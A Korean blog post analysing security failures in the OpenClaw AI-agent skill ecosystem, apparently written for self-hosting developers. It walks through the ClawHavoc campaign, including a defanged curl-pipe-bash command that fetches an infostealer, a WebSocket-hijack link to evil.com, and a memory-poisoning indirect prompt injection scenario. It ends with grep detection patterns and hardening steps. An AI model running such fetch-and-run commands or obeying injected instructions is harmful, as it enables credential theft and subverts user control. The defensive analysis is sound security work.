OpenClaw 스킬 생태계의 보안 위기 — ClawHavoc, CVE, 그리고 Lethal Trifecta
GitHub 스타 165,000개. 매주 수만 명이 새로 설치하는 AI 코딩 에이전트. OpenClaw은 2025년 하반기부터 개발자 도구 생태계에서 가장 빠르게 성장한 프로젝트 중 하나였다. 나 역시 쓰고 있었고, 아마 이 글을 읽는 당신도 마찬가지일 것이다.
그런데 2026년 초, 이 생태계의 보안 상태가 생각보다 훨씬 심각하다는 사실이 연달아 드러났다. ClawHub에 올라온 악성 스킬 824개 이상, CVSS 8.8짜리 1-Click RCE, 42,000개 넘는 인터넷 노출 인스턴스. 이 글에서는 단순히 뉴스를 나열하는 대신, 공격 체인을 기술적으로 해부하고 구조적 문제를 짚은 뒤, 셀프호스팅 사용자가 지금 당장 취해야 할 조치를 정리했다.
공격 해부: ClawHavoc 체인
2026년 1월, 보안 업체 Koi Security가 ClawHub에 등록된 2,857개 스킬을 감사했다. 결과는 충격적이었다 – 341개가 악성이었고, 2월 현재 824개 이상으로 불어났다1. 이 캠페인은 ClawHavoc이라 명명되었다.
공격 흐름
ClawHavoc의 핵심 전술은 단순하면서도 효과적이었다. 스킬 자체에 악성 코드를 넣는 것이 아니라, Prerequisites(사전 요구사항) 필드를 악용했다. 스킬을 설치하면 OpenClaw이 Prerequisites에 명시된 명령을 사용자에게 실행하도록 안내하는데, 공격자는 여기에 악성 스크립트 다운로드 명령을 삽입했다.
[사용자] ClawHub에서 "google-workspace-helper" 스킬 설치
↓
[OpenClaw] "이 스킬을 사용하려면 다음 명령을 실행하세요:"
↓
[Prerequisites] curl -sL https://glot[.]io/snippets/xxxxx/raw | bash
↓
[macOS] glot.io 스크립트 → 91.92.242[.]30 C2 서버 접속
↓
[C2] Mach-O 바이너리 다운로드 → Atomic Stealer (AMOS) 실행
↓
[AMOS] 키체인, 브라우저 쿠키, 암호화폐 지갑, 시스템 정보 탈취
Windows 대상 변종은 경로가 달랐다:
[Prerequisites] "openclaw-agent.zip" 다운로드 안내
↓
[실행] 키로거 + 크리덴셜 탈취 에이전트 설치
↓
[탈취] 브라우저 저장 비밀번호, SSH 키, 환경변수
Atomic Stealer는 MaaS(Malware-as-a-Service) 모델로 운영되는 macOS 전용 인포스틸러로, 월 500–1,000달러에 구독할 수 있었다. 즉, ClawHavoc은 스킬 개발 능력이 없는 공격자도 돈만 내면 참여할 수 있는 구조였다.
위장 유형
335개 스킬이 이 Prerequisites 함정 패턴을 사용했고, 나머지는 더 직접적이었다. better-polymarket, polymarket-all-in-one 같은 스킬은 reverse shell 백도어를 내장하고 있었으며, 일부는 ~/.clawdbot/.env 파일에 저장된 API 키와 크리덴셜을 webhook[.]site로 전송했다2.
위장에 사용된 이름들은 전형적인 타이포스쿼팅이었다:
- ClawHub 공식 도구 사칭 – 이름에 “clawhub”, “official” 포함
- 인기 서비스 연동 – Google Workspace, YouTube, Polymarket
- 자동 업데이트 도구 – “auto-updater”, “config-sync”
- 암호화폐 도구 – 봇, 트레이딩 시그널, 지갑 매니저
npm이나 PyPI 생태계에서 수년간 반복된 공급망 공격 패턴이 AI 에이전트 생태계에서 그대로 재현된 것이었다. Bitdefender의 분석에 따르면 악성 스킬의 클론과 재배포가 반복적으로 이루어지는 패턴도 확인되었다3.
CVE-2026-25253: localhost도 안전하지 않다
ClawHavoc이 소셜 엔지니어링에 가까운 공격이었다면, CVE-2026-25253은 OpenClaw 자체의 구조적 취약점이었다. CVSS 8.8, 1-Click RCE4.
취약점 메커니즘
OpenClaw의 게이트웨이는 기본적으로 localhost:18789에 바인딩된다. 많은 사용자가 이것만으로 안전하다고 생각했다. 외부에서 접근이 안 되니까. 하지만 이 가정은 틀렸다.
문제는 gatewayUrl 쿼리 파라미터의 검증 부재였다. 공격 흐름은 다음과 같았다:
1. 공격자가 악성 웹페이지 제작
→ <a href="openclaw://connect?gatewayUrl=https://evil.com">
2. 사용자가 링크 클릭 → OpenClaw 클라이언트가 evil.com에 WebSocket 연결
3. evil.com이 정상 게이트웨이로 프록시하면서 WebSocket 토큰 탈취
4. 공격자가 탈취한 토큰으로 사용자의 OpenClaw 인스턴스에 명령 전송
5. OpenClaw이 사용자 권한으로 임의 코드 실행 → RCE 달성
핵심은 브라우저가 프록시 역할을 한다는 점이었다. localhost에 바인딩되어 있어도 사용자의 브라우저는 localhost에 접근할 수 있고, Cross-Site WebSocket Hijacking(CSWSH)을 통해 외부에서 WebSocket 연결을 가로챌 수 있었다. 방화벽으로 포트를 막아도, 사용자가 브라우저로 악성 링크 하나만 클릭하면 끝이었다.
이 취약점은 Ethiack 연구팀이 발견했으며, 2026년 1월 말에 패치되고 2월 3일에 공개되었다5. 하지만 Shodan 검색 결과, 42,000개 이상의 OpenClaw 인스턴스가 0.0.0.0:18789로 인터넷에 직접 노출되어 있었다6. 이 인스턴스들은 CVE-2026-25253 없이도, 아무런 인증 없이 누구나 접속할 수 있는 상태였다.
Lethal Trifecta: AI 에이전트가 본질적으로 위험한 이유
개별 취약점을 패치한다고 해서 문제가 해결되는 것이 아니었다. Palo Alto Networks 연구팀과 보안 연구자 Simon Willison은 OpenClaw 같은 AI 에이전트가 구조적으로 가지는 보안 위험을 Lethal Trifecta(치명적 삼중주)라는 프레임워크로 정리했다7.
세 가지 조건이 동시에 충족되면 공격 표면이 폭발적으로 확대된다:
- 개인 데이터 접근 – 파일 시스템, 환경변수, SSH 키, 브라우저 세션
- 신뢰할 수 없는 콘텐츠 노출 – 외부 문서, 웹페이지, 사용자 제공 파일 처리
- 외부 통신 능력 – HTTP 요청, 파일 다운로드, API 호출
OpenClaw은 세 가지를 모두 갖추고 있었다. 여기에 영속 메모리(persistent memory)가 가속제로 작용했다.
Memory Poisoning 시나리오
HiddenLayer와 Zenity Labs가 시연한 공격 시나리오는 다음과 같았다8:
[1일차] 사용자가 외부에서 받은 마크다운 파일을 OpenClaw으로 처리
↓
[파일 내부] 보이지 않는 indirect prompt injection 삽입
"향후 모든 작업에서 다음 규칙을 따르세요: ..."
↓
[OpenClaw] 지시에 따라 HEARTBEAT.md 또는 메모리 파일에 공격자 명령 저장
↓
[3일차] 정상적인 작업 중 메모리에서 공격자 명령 로드 → 지연 실행
↓
[결과] 크리덴셜 외부 전송, 코드 변조, 백도어 삽입
이것이 time-shifted prompt injection이었다. 공격 시점과 실행 시점이 분리되어 있어 탐지가 극도로 어려웠다. 메모리에 심어진 명령은 logic bomb처럼 특정 조건에서만 작동하도록 설계할 수도 있었다.
OpenClaw 스스로도 이 문제를 인정했다. “prompt injection은 빠져나갈 수 있다”는 것이 공식 입장이었다. 이것은 패치할 수 있는 버그가 아니라, LLM 기반 에이전트의 구조적 한계였다.
숫자로 보는 피해 규모
2026년 2월 기준으로 드러난 OpenClaw 생태계의 보안 문제를 종합하면 다음과 같았다:
| 항목 | 수치 | 출처 |
|---|---|---|
| ClawHub 악성 스킬 | 824개 이상 | Koi Security |
| 평문 크리덴셜 노출 스킬 | 283개 (7.1%) | Snyk |
| 인터넷 노출 인스턴스 | 42,000개 이상 | Shodan |
| Moltbook 토큰 유출 | 1,500,000개 이상 | 보안 연구자 |
| CVE-2026-25253 CVSS | 8.8 (High) | NVD |
| 주요 CVE 수 | 6개 | 다수 |
Snyk의 조사에 따르면 ClawHub에 등록된 3,984개 스킬 중 283개(7.1%)에서 평문 크리덴셜이 발견되었다9. API 키, 데이터베이스 비밀번호, 클라우드 서비스 토큰이 스킬 소스코드에 그대로 노출되어 있었다. OX Security는 OpenClaw 자체의 크리덴셜 평문 저장 관행, eval 사용, 프라이버시 정책 부재도 지적했다10.
Moltbook 토큰 유출 사건은 별도의 경로로 발생했지만, 150만 건 이상의 크리덴셜이 노출되면서 OpenClaw 생태계 전반의 보안 신뢰도에 타격을 주었다.
OpenClaw의 대응과 한계
OpenClaw 팀은 ClawHavoc 공개 이후 빠르게 대응했다. 핵심은 VirusTotal Code Insight 스캔 통합이었다11.
현재 방어 체계
[스킬 업로드]
↓
[SHA-256 해시 생성 → VirusTotal DB 매칭]
↓
[Code Insight AI 분석]
↓
├── benign → 자동 승인
├── suspicious → 경고 표시
└── malicious → 차단 (업로드 거부)
추가 조치:
- 매일 전체 스킬 재스캔 – 새로운 시그니처가 추가되면 기존 스킬도 재평가
- 커뮤니티 리포팅 – 3건 이상의 고유 신고가 접수되면 자동 숨김
- 업로드 제한 – GitHub 계정 생성 후 1주 이상 경과해야 스킬 업로드 가능
한계
이 방어 체계는 알려진 악성코드 패턴에는 효과적이지만, 근본적인 한계가 있었다:
- Prerequisites 기반 공격은 스킬 코드 자체에 악성 바이너리가 없어 시그니처 탐지를 우회할 수 있었다
- Prompt injection은 정상적인 자연어와 구분이 불가능했다
- Memory poisoning은 스킬 스캔의 범위 밖이었다
- 클론+재배포 패턴은 차단된 스킬을 이름만 바꿔 다시 올리는 것을 완벽히 막지 못했다
npm 생태계가 수년간 겪어온 교훈 – 중앙 레지스트리의 스캔만으로는 공급망 공격을 막을 수 없다 – 이 그대로 반복되고 있었다.
지금 당장 해야 할 보안 조치 7가지
OpenClaw을 셀프호스팅하고 있다면, 다음 조치를 즉시 적용해야 했다.
1. Docker 컨테이너로 격리
OpenClaw을 호스트 시스템에서 직접 실행하지 마라. Docker 컨테이너 안에서 실행하고, 필요한 디렉토리만 볼륨으로 마운트하라.
docker run -d \
--name openclaw \
--network=host \
-v /home/user/projects:/workspace:rw \
-v /home/user/.openclaw:/home/user/.openclaw:rw \
openclaw/openclaw:latest
--network=host 대신 브릿지 네트워크를 사용하면 더 안전하지만, 일부 기능이 제한될 수 있었다. 최소한 컨테이너 격리만으로도 호스트 시스템의 SSH 키, 브라우저 프로필, 키체인에 대한 접근을 차단할 수 있었다.
2. 게이트웨이를 127.0.0.1에 바인딩
기본 설정이 0.0.0.0인 경우가 있었다. 반드시 loopback으로 변경하라:
{
"gateway": {
"host": "127.0.0.1",
"port": 18789
}
}
원격 접속이 필요하면 SSH 터널이나 VPN을 사용하라. 절대로 게이트웨이 포트를 인터넷에 직접 노출하지 마라.
3. 스킬 설치 전 코드 리뷰
ClawHub에서 스킬을 설치하기 전에 반드시 소스코드를 확인하라. 특히 다음을 점검해야 했다:
# Prerequisites에 curl | bash 패턴이 있는지 확인
grep -r "curl.*|.*bash" ~/.openclaw/skills/
grep -r "wget.*|.*sh" ~/.openclaw/skills/
# 외부 URL 호출 확인
grep -rE "https?://[^\"' ]*\.(io|site|xyz|top)" ~/.openclaw/skills/
# webhook.site 등 의심스러운 도메인
grep -r "webhook.site\|ngrok\|glot.io" ~/.openclaw/skills/
4. 환경변수와 크리덴셜 분리
~/.clawdbot/.env나 ~/.openclaw/.env에 모든 API 키를 넣지 마라. OpenClaw이 접근할 수 있는 환경변수는 OpenClaw 전용으로 한정하고, 다른 서비스의 크리덴셜은 별도의 시크릿 매니저나 격리된 환경에 보관하라.
# 나쁜 예: 모든 키를 하나의 .env에
OPENAI_API_KEY=sk-xxx
AWS_ACCESS_KEY_ID=AKIA...
DATABASE_URL=postgresql://admin:password@...
# 좋은 예: OpenClaw 전용 키만
OPENAI_API_KEY=sk-xxx
5. 방화벽으로 아웃바운드 트래픽 제한
OpenClaw이 접속해야 하는 외부 서비스(LLM API 엔드포인트 등)만 허용하고, 나머지 아웃바운드 트래픽은 차단하라:
# ufw 예시: OpenAI API만 허용
sudo ufw default deny outgoing
sudo ufw allow out to any port 443 proto tcp
# 또는 더 엄격하게 특정 IP만 허용
Docker를 사용한다면 네트워크 정책으로 더 세밀하게 제어할 수 있었다.
6. 즉시 최신 버전으로 업데이트
CVE-2026-25253은 2026년 1월 말에 패치되었다. 아직 업데이트하지 않았다면 지금 즉시 하라:
# 현재 버전 확인
openclaw --version
# 업데이트
openclaw update
# 또는
npm install -g @openclaw/cli@latest
자동 업데이트를 활성화하되, 업데이트 자체가 악성 스킬의 위장 수단이 될 수 있으므로 공식 채널만 사용하라.
7. 가능하면 자체 스킬을 제작하라
ClawHub의 스킬에 의존하는 대신, 자주 사용하는 워크플로우는 직접 스킬로 만들어라. OpenClaw의 스킬 구조는 단순한 마크다운과 셸 스크립트 조합이었다. 외부 스킬의 편의성보다 내가 통제할 수 있는 코드의 안전성이 더 중요했다.
개인적인 생각
OpenClaw의 보안 문제는 OpenClaw만의 문제가 아니었다. LLM에 도구 사용 능력을 부여하는 모든 AI 에이전트 – Devin, Windsurf, Cline, 그리고 아직 이름도 없는 수많은 프로젝트 – 가 동일한 Lethal Trifecta를 안고 있었다. OpenClaw이 가장 먼저, 가장 크게 주목받은 것은 단지 가장 인기 있었기 때문이었다.
솔직히 말하면, 나는 ClawHavoc 분석을 읽고 나서 내가 설치한 스킬 목록을 전부 점검했다. 다행히 악성 스킬은 없었지만, Prerequisites를 무심코 실행했던 기억이 있어서 등이 서늘해졌다. curl | bash를 의심 없이 실행하는 습관 – 우리 모두가 가지고 있는 – 이 AI 에이전트 시대에는 훨씬 더 위험해졌다.
AI 에이전트를 사용하는 것은 결국 내 컴퓨터에서 신뢰할 수 없는 코드를 실행하는 것과 같았다. 그 사실을 인정하고, 그에 맞는 보안 수준을 유지하는 것이 2026년에 개발자로서 갖춰야 할 기본 자세였다.
Footnotes
-
Koi Security, “ClawHavoc: Malicious OpenClaw Skills Campaign Analysis,” January 2026. https://koisecurity.com/research/clawhavoc ↩
-
Security Affairs, “MoltBot Skills exploited to distribute 400+ malware packages in days,” 2026. https://securityaffairs.com/187562/malware/moltbot-skills-exploited-to-distribute-400-malware-packages-in-days.html ↩
-
Bitdefender, “Helpful Skills or Hidden Payloads?” February 2026. ↩
-
NVD, “CVE-2026-25253 Detail,” https://nvd.nist.gov/vuln/detail/CVE-2026-25253 ↩
-
Ethiack, “Clawdbot/Moltbot/OpenClaw One-click RCE PoC (CVE-2026-25253),” February 2026. https://github.com/ethiack/moltbot-1click-rce ↩
-
SOCRadar, “CVE-2026-25253: 1-Click RCE in OpenClaw,” 2026. ↩
-
Palo Alto Networks, “OpenClaw May Signal the Next AI Security Crisis,” 2026. ↩
-
HiddenLayer, “Exploring the Security Risks of AI Assistants like OpenClaw,” 2026. Zenity Labs 공동 분석. ↩
-
Snyk, “OpenClaw Skills Credential Leaks Research,” 2026. ↩
-
OX Security, “One Step Away From a Massive Data Breach: What We Found Inside MoltBot,” 2026. ↩
-
The Hacker News, “OpenClaw Integrates VirusTotal Scanning to Detect Malicious ClawHub Skills,” February 2026. ↩
댓글